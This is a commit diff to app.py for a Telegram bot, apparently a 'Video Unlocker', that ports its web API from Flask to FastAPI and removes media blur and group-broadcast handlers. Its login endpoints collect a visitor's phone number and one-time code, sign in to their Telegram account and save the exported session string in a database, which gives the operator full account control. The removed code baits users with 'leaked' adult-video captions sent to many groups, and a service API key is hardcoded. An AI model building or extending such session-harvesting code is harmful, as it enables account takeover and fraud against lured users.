pmrony commited on
Commit
e2c1865
·
verified ·
1 Parent(s): e1b638a

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +44 -310
app.py CHANGED
@@ -4,8 +4,10 @@ import threading
4
  import requests
5
  import asyncio
6
  import re
7
- from flask import Flask, jsonify, make_response, request
8
- from flask_cors import CORS
 
 
9
  from supabase import create_client
10
  from pyrogram import Client, filters, enums
11
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
@@ -20,64 +22,74 @@ WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
20
  BYSE_API_KEY = "133323knboif885fhgwxvf"
21
  ADMIN_IDS = [7307789267]
22
 
23
- app = Flask(__name__)
24
- CORS(app)
 
 
 
 
 
 
 
 
25
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
26
  admin_states = {}
27
  temp_clients = {}
28
 
29
- # Pyrogram Client Setup
30
  bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
31
 
32
  async def db_query(func):
33
  return await asyncio.to_thread(func)
34
 
35
- # ================= FLASK API ROUTES =================
36
- @app.route('/')
37
- def index():
38
- return "Bot and API are Running smoothly on Hugging Face! 🚀"
39
 
40
- @app.route('/api/videos')
41
- def api_videos():
42
  try:
43
  res = supabase.table('videos').select('*').order('id', desc=True).execute()
44
- response = make_response(jsonify(res.data))
45
  except Exception as e:
46
- response = make_response(jsonify([]))
47
- response.headers['Access-Control-Allow-Origin'] = '*'
48
- return response
49
 
50
- @app.route('/api/send_code', methods=['POST'])
51
- async def api_send_code():
52
- data = request.json
53
  phone = data.get('phone')
54
  client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
55
  await client.connect()
56
  try:
57
  code_info = await client.send_code(phone)
58
  temp_clients[phone] = {"client": client, "hash": code_info.phone_code_hash}
59
- return jsonify({"status": "ok", "hash": code_info.phone_code_hash})
60
  except Exception as e:
61
- return jsonify({"status": "error", "msg": str(e)})
62
 
63
- @app.route('/api/verify_code', methods=['POST'])
64
- async def api_verify_code():
65
- data = request.json
66
- phone, otp, hash, u_id = data.get('phone'), data.get('otp'), data.get('hash'), data.get('user_id')
 
 
 
 
67
  entry = temp_clients.get(phone)
68
  if not entry:
69
- return jsonify({"status": "error", "msg": "Session expired"})
70
 
71
  client = entry["client"]
72
  try:
73
- await client.sign_in(phone, hash, otp.replace(" ", ""))
74
  session_string = await client.export_session_string()
75
  await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": u_id, "session_string": session_string}).execute())
76
  await client.disconnect()
77
  temp_clients.pop(phone, None)
78
- return jsonify({"status": "ok"})
79
  except Exception as e:
80
- return jsonify({"status": "error", "msg": str(e)})
81
 
82
 
83
  # ================= TELEGRAM BOT COMMANDS =================
@@ -202,289 +214,11 @@ async def restricted_download(client, message):
202
  await status.edit_text(f"❌ এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")
203
 
204
 
205
- # ================= ADMIN BLUR & MEDIA HANDLERS =================
206
- @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
207
- async def set_blur_state(client, message):
208
- try:
209
- args = message.text.split()
210
- if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
211
- if message.chat.id in admin_states:
212
- admin_states[message.chat.id].pop("blur_percent", None)
213
- admin_states[message.chat.id].pop("clear_percent", None)
214
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপ��োড করা ভিডিও আর ব্লার হবে না।", parse_mode=enums.ParseMode.HTML)
215
- return
216
-
217
- match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
218
- if match:
219
- percent = int(match.group(1))
220
- clear_percent = int(match.group(2)) if match.group(2) else 0
221
- if percent == 0:
222
- if message.chat.id in admin_states:
223
- admin_states[message.chat.id].pop("blur_percent", None)
224
- admin_states[message.chat.id].pop("clear_percent", None)
225
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
226
- return
227
-
228
- if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
229
- admin_states[message.chat.id]["blur_percent"] = percent
230
- admin_states[message.chat.id]["clear_percent"] = clear_percent
231
- clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
232
- reply_text = f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}\n\n<i>(বন্ধ করতে <code>/blur 0</code> লিখে সেন্ড করুন।)</i>"
233
- await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
234
- else:
235
- await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
236
- except Exception as e: print(e)
237
-
238
-
239
- def upload_file_sync(upload_url, file_path, api_key):
240
- with open(file_path, 'rb') as f:
241
- payload = {'key': api_key}
242
- files = {'file': f}
243
- return requests.post(upload_url, data=payload, files=files, timeout=900).json()
244
-
245
- @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
246
- async def handle_media_upload(client, message):
247
- state = admin_states.get(message.chat.id, {})
248
- if state.get("step") == "broadcast":
249
- await process_broadcast(client, message)
250
- return
251
-
252
- media_type = "video" if message.video else "animation" if message.animation else "photo"
253
- has_blur_caption = message.caption and "/blur" in message.caption.lower()
254
- is_persistent_blur = bool(state.get("blur_percent"))
255
-
256
- if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
257
- status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
258
- try:
259
- local_path = await message.download()
260
- def upload_to_supabase():
261
- with open(local_path, 'rb') as f: file_bytes = f.read()
262
- file_name = f"thumb_{int(time.time())}.jpg"
263
- supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
264
- return supabase.storage.from_('thumbnails').get_public_url(file_name)
265
-
266
- direct_link = await asyncio.to_thread(upload_to_supabase)
267
- if os.path.exists(local_path): os.remove(local_path)
268
- await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
269
- except Exception as e:
270
- await status.edit_text(f"⚠️ আপলোড এরর: {e}")
271
- return
272
-
273
- raw_caption = message.caption or ""
274
- blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
275
- is_blur = False
276
- blur_percent = 0
277
- clear_percent = 0
278
- clean_caption = raw_caption
279
-
280
- if blur_match:
281
- is_blur = True
282
- blur_percent = int(blur_match.group(1))
283
- clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
284
- clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
285
- elif state.get("blur_percent"):
286
- is_blur = True
287
- blur_percent = state["blur_percent"]
288
- clear_percent = state.get("clear_percent", 0)
289
-
290
- is_large_video = False
291
- if media_type == "video":
292
- duration = message.video.duration if message.video and message.video.duration else 0
293
- file_size = message.video.file_size if message.video and message.video.file_size else 0
294
- if duration > 600 or file_size > 150 * 1024 * 1024:
295
- is_large_video = True
296
- is_blur = False
297
-
298
- if is_large_video:
299
- status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> সার্ভার ক্র্যাশ এড়াতে ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
300
- else:
301
- status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
302
-
303
- bot_me = client.me if client.me else await client.get_me()
304
- bot_link = f"https://t.me/{bot_me.username}"
305
- original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
306
-
307
- try:
308
- original_file = await message.download()
309
- final_file = original_file
310
-
311
- # 1. WATERMARK
312
- if media_type == "video" and not is_large_video:
313
- await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
314
- watermarked_file = f"{original_file}_wm.mp4"
315
- cmd = ["ffmpeg", "-y", "-i", original_file,
316
- "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
317
- "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28",
318
- "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
319
- process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
320
- await process.communicate()
321
- if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
322
-
323
- # 2. BLUR
324
- if is_blur and not is_large_video:
325
- await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
326
- radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
327
- ext = "jpg" if media_type == "photo" else "mp4"
328
- blurred_file = f"{original_file}_blurred.{ext}"
329
-
330
- if clear_percent > 0:
331
- clear_ratio = clear_percent / 100.0
332
- ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
333
- else:
334
- ff_filter = ["-vf", f"boxblur={radius}:1"]
335
-
336
- if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
337
- elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
338
- else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
339
-
340
- process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
341
- await process_blur.communicate()
342
- if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
343
-
344
- # 3. UPLOAD TO BYSE
345
- if media_type == "video":
346
- await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
347
- loop = asyncio.get_event_loop()
348
- response = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30))
349
- result = response.json()
350
- if result.get('status') == 200:
351
- upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
352
- if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
353
- file_code = upload_res['files'][0].get('filecode')
354
- if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
355
-
356
- if not embed_link: return await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
357
-
358
- # 4. ADMIN MSG (SKIP BROADCAST IF LARGE)
359
- if is_large_video:
360
- admin_cap = f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>ভিডিওটি অনেক বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে।</i>"
361
- await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
362
- await status_msg.delete()
363
- return
364
-
365
- # 5. BROADCAST
366
- await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
367
- caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch Full Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>" if media_type == "video" else (f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
368
- group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
369
-
370
- admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
371
-
372
- thumb_path = None
373
- if media_type == "video":
374
- v_dur, v_w, v_h = (message.video.duration or 0), (message.video.width or 0), (message.video.height or 0)
375
- thumb_path = f"{original_file}_thumb.jpg"
376
- await (await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)).communicate()
377
- if not os.path.exists(thumb_path): thumb_path = None
378
-
379
- if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
380
- elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
381
- else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_dur, width=v_w, height=v_h, thumb=thumb_path)).video.file_id
382
-
383
- await status_msg.delete()
384
-
385
- groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
386
- group_ids = [g['group_id'] for g in groups_res.data]
387
- success_count, fail_count = 0, 0
388
-
389
- for gid in set(group_ids):
390
- try:
391
- if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
392
- elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
393
- else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
394
- success_count += 1
395
- await asyncio.sleep(1.5)
396
- except: fail_count += 1
397
-
398
- await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
399
-
400
- except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
401
- finally:
402
- for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
403
- if f and os.path.exists(f):
404
- try: os.remove(f)
405
- except: pass
406
-
407
- # ================= ADMIN COMMANDS =================
408
- @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
409
- async def bot_stats(client, message):
410
- try:
411
- users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
412
- videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
413
- groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
414
- stat_msg = f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি"
415
- await message.reply(stat_msg, parse_mode=enums.ParseMode.HTML)
416
- except: pass
417
-
418
- @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
419
- async def broadcast_command(client, message):
420
- admin_states[message.chat.id] = {"step": "broadcast"}
421
- await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
422
-
423
- async def process_broadcast(client, message):
424
- text = message.text or message.caption
425
- if text == '/cancel':
426
- admin_states.pop(message.chat.id, None)
427
- return await message.reply("❌ বাতিল করা হয়েছে।")
428
-
429
- await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
430
- admin_states.pop(message.chat.id, None)
431
- try:
432
- all_users = []
433
- start, step = 1000
434
- while True:
435
- res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
436
- if not res.data: break
437
- all_users.extend(res.data)
438
- start += step
439
-
440
- success, failed = 0, 0
441
- for u in all_users:
442
- try:
443
- await message.copy(chat_id=u['user_id'])
444
- success += 1
445
- await asyncio.sleep(0.15)
446
- except: failed += 1
447
-
448
- await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
449
- except: pass
450
-
451
- @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
452
- async def add_png(client, message):
453
- try:
454
- parts = message.command
455
- needed_ref = 3
456
- duration = "random"
457
- if len(parts) == 4 and parts[1].isdigit(): needed_ref = int(parts[1]); duration = parts[2]; thumbnail_url = parts[3]
458
- elif len(parts) == 3 and parts[1].isdigit(): needed_ref = int(parts[1]); thumbnail_url = parts[2]
459
- elif len(parts) == 2: thumbnail_url = parts[1]
460
- else: return await message.reply("❌ নিয়ম ভুল।")
461
-
462
- admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
463
- await message.reply("✅ এখন Video/Embed Link দিন।")
464
- except: pass
465
-
466
- @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
467
- async def catch_admin_steps(client, message):
468
- state = admin_states.get(message.chat.id, {})
469
- if state.get("step") == 1:
470
- if not message.text: return
471
- video_url = message.text.strip()
472
- if video_url == "/cancel":
473
- admin_states.pop(message.chat.id, None)
474
- return await message.reply("❌ বাতিল করা হয়েছে।")
475
- try:
476
- await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
477
- await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
478
- except: pass
479
- finally: admin_states.pop(message.chat.id, None)
480
- elif state.get("step") == "broadcast": await process_broadcast(client, message)
481
-
482
  # ================= RUNNER =================
483
- def run_flask():
484
- # Hugging Face default port is 7860
485
- app.run(host="0.0.0.0", port=7860)
486
 
487
  if __name__ == "__main__":
488
- threading.Thread(target=run_flask, daemon=True).start()
489
- print("🤖 Pyrogram Bot and Flask API are starting on Hugging Face...")
490
  bot.run()
 
4
  import requests
5
  import asyncio
6
  import re
7
+ import uvicorn
8
+ from fastapi import FastAPI, Request
9
+ from fastapi.middleware.cors import CORSMiddleware
10
+ from fastapi.responses import JSONResponse
11
  from supabase import create_client
12
  from pyrogram import Client, filters, enums
13
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
 
22
  BYSE_API_KEY = "133323knboif885fhgwxvf"
23
  ADMIN_IDS = [7307789267]
24
 
25
+ # ================= FASTAPI SETUP =================
26
+ app = FastAPI()
27
+ app.add_middleware(
28
+ CORSMiddleware,
29
+ allow_origins=["*"],
30
+ allow_credentials=True,
31
+ allow_methods=["*"],
32
+ allow_headers=["*"],
33
+ )
34
+
35
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
36
  admin_states = {}
37
  temp_clients = {}
38
 
39
+ # Pyrogram Bot Setup
40
  bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
41
 
42
  async def db_query(func):
43
  return await asyncio.to_thread(func)
44
 
45
+ # ================= FASTAPI ROUTES =================
46
+ @app.get("/")
47
+ async def index():
48
+ return {"status": "online", "message": "Video Unlocker API is Running on FastAPI! 🚀"}
49
 
50
+ @app.get("/api/videos")
51
+ async def api_videos():
52
  try:
53
  res = supabase.table('videos').select('*').order('id', desc=True).execute()
54
+ return JSONResponse(content=res.data)
55
  except Exception as e:
56
+ return JSONResponse(content=[])
 
 
57
 
58
+ @app.post("/api/send_code")
59
+ async def api_send_code(request: Request):
60
+ data = await request.json()
61
  phone = data.get('phone')
62
  client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
63
  await client.connect()
64
  try:
65
  code_info = await client.send_code(phone)
66
  temp_clients[phone] = {"client": client, "hash": code_info.phone_code_hash}
67
+ return {"status": "ok", "hash": code_info.phone_code_hash}
68
  except Exception as e:
69
+ return {"status": "error", "msg": str(e)}
70
 
71
+ @app.post("/api/verify_code")
72
+ async def api_verify_code(request: Request):
73
+ data = await request.json()
74
+ phone = data.get('phone')
75
+ otp = data.get('otp')
76
+ hash_val = data.get('hash')
77
+ u_id = data.get('user_id')
78
+
79
  entry = temp_clients.get(phone)
80
  if not entry:
81
+ return {"status": "error", "msg": "Session expired"}
82
 
83
  client = entry["client"]
84
  try:
85
+ await client.sign_in(phone, hash_val, otp.replace(" ", ""))
86
  session_string = await client.export_session_string()
87
  await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": u_id, "session_string": session_string}).execute())
88
  await client.disconnect()
89
  temp_clients.pop(phone, None)
90
+ return {"status": "ok"}
91
  except Exception as e:
92
+ return {"status": "error", "msg": str(e)}
93
 
94
 
95
  # ================= TELEGRAM BOT COMMANDS =================
 
214
  await status.edit_text(f"❌ এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")
215
 
216
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
217
  # ================= RUNNER =================
218
+ def run_fastapi():
219
+ uvicorn.run(app, host="0.0.0.0", port=7860)
 
220
 
221
  if __name__ == "__main__":
222
+ threading.Thread(target=run_fastapi, daemon=True).start()
223
+ print("🤖 Pyrogram Bot and FastAPI are starting on Hugging Face...")
224
  bot.run()